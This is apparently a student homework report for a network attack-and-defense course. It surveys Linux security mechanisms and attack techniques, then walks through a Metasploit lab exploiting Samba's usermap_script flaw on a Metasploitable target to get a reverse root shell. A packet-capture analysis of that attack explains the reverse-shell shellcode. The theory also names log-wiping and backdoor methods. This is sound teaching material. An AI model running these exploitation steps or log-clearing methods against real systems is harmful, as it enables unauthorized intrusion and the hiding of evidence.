20199106 2019-2020-2 《网络攻防实践》第八周作业
作业说明
这个作业属于哪个课程 | 网络攻防实践 |
---|---|
这个作业的要求在哪里 | 第八次作业: Linux操作系统攻防 |
我在该课程的目标 | 对网络攻防技术有一个比较全面的认识,能够掌握基本的攻防操作。 |
这个作业在哪个具体方面帮助我实现目标 | 学习了Linux系统网络攻防的知识和体系。 |
作业正文
实践内容
Linux操作系统基本框架
-
linux操作系统的优势:开放源代码与免费、跨平台的硬件支持、丰富的软件支持、多用户多任务、可靠的安全性(自带防火墙、入侵检测和安全认证等工具,及时修补系统的漏洞)、良好的稳定性、完善的网络功能。
-
linux系统结构:
- linux进程与线程管理机制:Linux内核采用抢占式多用户多进程的模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用。
- linux内存管理机制:Linux内存管理模块允许多个进程安全共享物理内存区域,每个进程有着独立的4GB虚拟内存空间,内核代码和数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB。
- linux文件系统管理机制:linux内核使用了虚拟文件管理VFS机制,能够支持数十种不同类型的逻辑文件系统。
- linux设备控制机制:Linux内核中处理或管理硬件控制器的软件叫做设备驱动程序。linux抽象了设备的处理,所有的硬件设备都像常规文件一样看待,支持三类硬件设备:字符设备、块设备和网络设备。字符设备直接进行读/写,没有缓冲区;块设备以块为单位进行读/写;网络设备通过网络接口进行访问。
- linux网络机制:linux内核中的网络模块提供了对多种网络标准的存取和各种网络硬件的支持。网络接口可以分为网络协议栈和网络驱动程序。网络协议栈负责实现各种可能的网络传输协议,网络驱动程序负责与硬件设备的通信。
- linux系统调用机制:上述内核模块运行在CPU的核心态,而应用程序运行于用户态。linux系统调用接口允许应用程序通过它访问硬件设备和其他资源,保证整个系统稳定安全。
Linux操作系统安全机制
-
身份认证机制
- linux通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用linux操作系统;
- linux用户分类:root根用户、普通用户、系统用户;用户信息保存在/etc/passwd;
- linux用户组:就是具有相同特征的用户账号集合,用户组信息保存在系统的/etc/group文件中;
- linux支持本地登录用户认证机制和远程登录用户认证机制。
- linux的统一身份认证中间件——PAM(可插入身份认证模块),支持四种管理界面:认证管理、账户管理、密码管理、会话管理。
-
授权与访问控制机制
- 所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。
- 在linux的虚拟文件系统安全模型中,主要通过文件所有者,文件访问权限和一些特殊权限位来进行系统的授权与访问控制。
- 不足:只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,无法做到更细粒度的权限控制。
-
安全审计机制
- 主要通过三个主要的日志子系统来实现:
- 连接时间日志:由多个程序执行,使系统管理员能够跟组谁在何时登录到系统。
- 进程统计日志:当一个进程终止时,为每个进程往进程统计文件中写一个记录。
- 错误日志记录:由通用日志记录服务执行 。
- 主要通过三个主要的日志子系统来实现:
Linux系统远程攻防技术
-
针对linux系统的攻击流程:
- 首先利用踩点、扫描和查点等技术手段来收集关于目标linux系统的信息;
- 然后攻击者从远程网络发掘某个监听网络服务中安全漏洞或配置弱点,来获取本地shell访问权;
- 一旦获得 Shell 访问权,攻击者就在目标 Linux 系统上获得了立足之地,而转入本地攻击的环节。
-
linux远程口令字猜测攻击
- 基本攻击形式:通过服务嗅探用户账户名或者使用缺省内键一些账户(诸如Root)实施口令猜测猜测。除了SSH等远程控制网络服务之外,还可以通过对HTTP/HTTPS、FTP等拥有自己账户体系和身份认证机制的网络服务进行猜测。
- 自动化远程口令猜测工具:Brutus、THC Hydra、Cain and Abel
- 最佳防御措施:使用不易猜测的强口令字
- 实践措施:在非标准端口上运行容易遭受远程口令猜测攻击的服务;使用一些口令猜测攻击检测与防御软件;使用linux防火墙IPTables来限制SSH等易受远程口令猜测攻击网络服务的访问源IP地址范围。
-
linux网络服务远程渗透攻击
- 系统远程渗透最重要的攻击渠道——对监听网络服务安全漏洞的渗透利用。
- LAMP Web网站构建解决方案中的网络服务:以Linux操作系统作为网站服务器运行平台,Apache提供基于HTTP/HTTPS的网页服务,MySQL数据库管理系统作为web应用程序的后台数据存储,而以PHP语言来开发与实现web应用程序。正是由于LAMP组合方案在web服务器中的主导地位,也使得组合内的服务扩展模块成为Linux系统主要的远程攻击渗透目标。
- FTP、Samba等文件共享服务:FTP用于文件交换和共享传输,一般监听20和21端口;Samba是在tcp445端口监听。
- 电子邮件收发服务(sendmail服务):包括Linux在内的类UNIX系统上最为流行的电子邮件收发服务,也是备受争议的不安全的知名网络服务之一。
- 其他网络服务,如OpenSSH(TCP 22端口)、Open SSL(TCP 443端口)、NFS(tcp/udp2049端口)、SNMP(tcp161/162端口)、SUNRPC(tcp111端口)、BIND(tcp/udp53端口)、X-Windows(tcp6000端口)
- 安全防范措施:禁用不必要的网络服务、尽量选择更安全的网络协议与服务软件、及时更新网络服务版本、使用xinetd,防火墙为linux网络服务添加网络访问控制、建立入侵检测与应急响应计划流程
-
攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序:互联网用户最常用的客户端程序是Web浏览器和电子邮件客户端,最流行的Web浏览器:Firefox“火狐”浏览器,最流行的电子邮件客户端软件:Thunderbird“雷鸟”。
- 攻击Linux用户:在难以攻破服务器的时候,可以通过电话、电子邮件等各种方式来用社会工程学的方法向服务器管理员套取各种信息,或者让其执行某些恶意程序。
- 防范措施:定期更新软件(apt-get)、了解社会工程学技术、提高安全意识
-
攻击linux路由器和监听器
- Linux作为路由器或者开启混杂模式时,如果实现路由寻址和数据包转发功能的程序存在漏洞,很可能遭受构造数据包攻击。
- 配置ip_forward=1以路由器模式运行,net子系统的route.c实现路由器的寻址与数据包的转发功能。
- 攻击监听器和入侵检测器:Libpcap抓包库、tcpdump命令行程序、Wiresahrk网络监听与协议分析软件、Snort入侵检测系统。除了libpcap之外,其他的都或多或少有些漏洞。
- 防范措施:网络管理员要建立一种安全对抗与博弈的意识;掌握攻击者的渗透入侵手段
Linux系统本地安全攻防技术
-
linux本地特权提升
- 破解root用户的口令,然后执行su或sudo命令进行提升;
- 发掘并利用su或sudo程序中的安全漏洞
- 攻击用户态SUID特权提升漏洞:针对SUID程序的本地缓冲溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击、针对SUID程序的共享函数库的攻击
- 攻击Linux内核代码特权提升漏洞
- 从系统中搜索全局可写的敏感文件与目录位置并加以利用
- 防范措施:及时进行特权代码和内核的升级以修补本地特权安全漏洞;避免使用root用户进行日常操作等
-
linux系统上的消踪灭迹
- 主要审计日志机制在/var/log目录下,主要由系统核心进程、syslogd与各个网络服务提供事件审计功能。
- 改变当前活动的日志,往往查看/etc/syslog.cnf配置文件内容,系统对认证授权的记录在/var/log/auth.log中,一些系统报警、信息、认证等日志在/var/log/messages文件中
- 清理在Shell程序中所输入的命令历史记录(.bash_history文件)
- 防范措施:将日志信息写道难以修改的媒体介质上;把关键日志发送到另一台严密防护的安全日志服务器。
-
linux系统远程控制后门程序
- Linux系统上植入远程控制后门程序的类型:特洛伊木马化的系统程序、命令行后门工具、图形化后门工具。
- 图形化远程控制软件VNC
- 使用Rootkit技术隐藏后门程序
实验过程
动手实践:使用 Metasploit 进行Linux远程渗透攻击
任务:使用 Metasploit 渗透测试软件,攻击 Linux 靶机上的 Samba
服务 usermap_script
安全漏洞,获取目标 Linux靶机的主机访问权限。实践步骤如下:
1.启动 Metasploit 软件,可根据个人喜好使用 msfconsole、msfgui、msfweb 之一;
2.使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块;
3.选择攻击 PAYLOAD 为远程 Shell (正向或反向连接均可);
4.设置渗透攻击参数(RHOST,LHOST,TARGET等);
5.执行渗透攻击;
6.查看是否正确得到远程Shell,并查看获得的权限。
(Samba是linux和unix系统上实现smb协议的一个免费软件,由客户机和服务器构成。SMB是一种在局域网上实现共享文件和打印机的协议。存在一个服务器,客户机通过该协议可以服务器上的共享文件系统和打印机以及其他的资源。通过设置,还可以和全世界的电脑分享资源。
usermap_script名为username map script(用户名映射脚本),Samba协议的一个漏洞,在使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令。)
实验环境
实验环境 | IP地址 |
---|---|
靶机:Linux Metasploitable | 192.168.200.125 |
攻击机:kali | 192.168.200.2 |
实验过程和第七周类似。
1、使用命令msfconsole
启动渗透软件
2、 search samba
命令找出攻击Samba服务的模块
3、命令use exploit/multi/samba/usermap_script
使用渗透攻击模块
4、用 show payloads
查看攻击负载模块
5、命令set PAYLOAD cmd/unix/reverse
设置攻击载荷,此载荷意为支持双向连接,使用show options
查看需要配置的参数
6、设置攻击机地址LHOST set LHOST 192.168.200.2
,靶机地址RHOST set RHOST 192.168.200.125
,使用命令show options
再次查看
7、命令exploit
进行攻击,命令shell
打开shell
8、通过命令whomai
查看当前权限账户,发现当前权限账户为root
,成功获取到靶机操作系统及root控制权限。使用命令ifconfig
确认靶机IP地址无误。
实践作业:攻防对抗实践
-
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
-
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
还是选择上述漏洞,攻击过程同上。
攻击之前打开wireshark,查看wireshark捕获到的数据包
可见,攻击者的IP地址 192.168.200.2,端口 42395 ;目标IP 192.168.200.125 ,端口 139 。
可以看到攻击利用了139端口漏洞(139端口属于TCP服务,Unix中用于Samba服务。开启139端口虽然可以提供共享服务,主要用于提供Windows文件和打印机共享,但是常常被攻击者所利用进行攻击,可以试图获取用户名和密码),可知攻击利用了Samba服务漏洞。
攻击发起时间: 2020.4.22 04:58:23;
对SMB数据包追踪TCP流,可以看到使用的shellcode如下:
代码解释:
nohup
是no hang up
的缩写,即不挂断地运行命令。该命令可以在你退出帐户/关闭终端之后继续运行相应的进程;sh
是linux中运行shell的命令,是shell的解释器;sleep
用来将目前动作延迟一段时间telnet 192.168.200.5 4444
表明数据是通过4444号通信端口管控传入攻击机的;/dev/null 2>&1
意思是将标准输出和错误输出全部重定向到/dev/null中,即将产生的所有信息丢弃;最后一个 &
, 是让该命令在后台执行。
追踪TCP流确定攻击成功之后攻击机在靶机执行的命令,为whoami
、ifconfig
学习中遇到的问题及解决
学习感想和体会
本次实验操作过程比较顺利,但是分析过程依然不太熟练,还是要多学多练。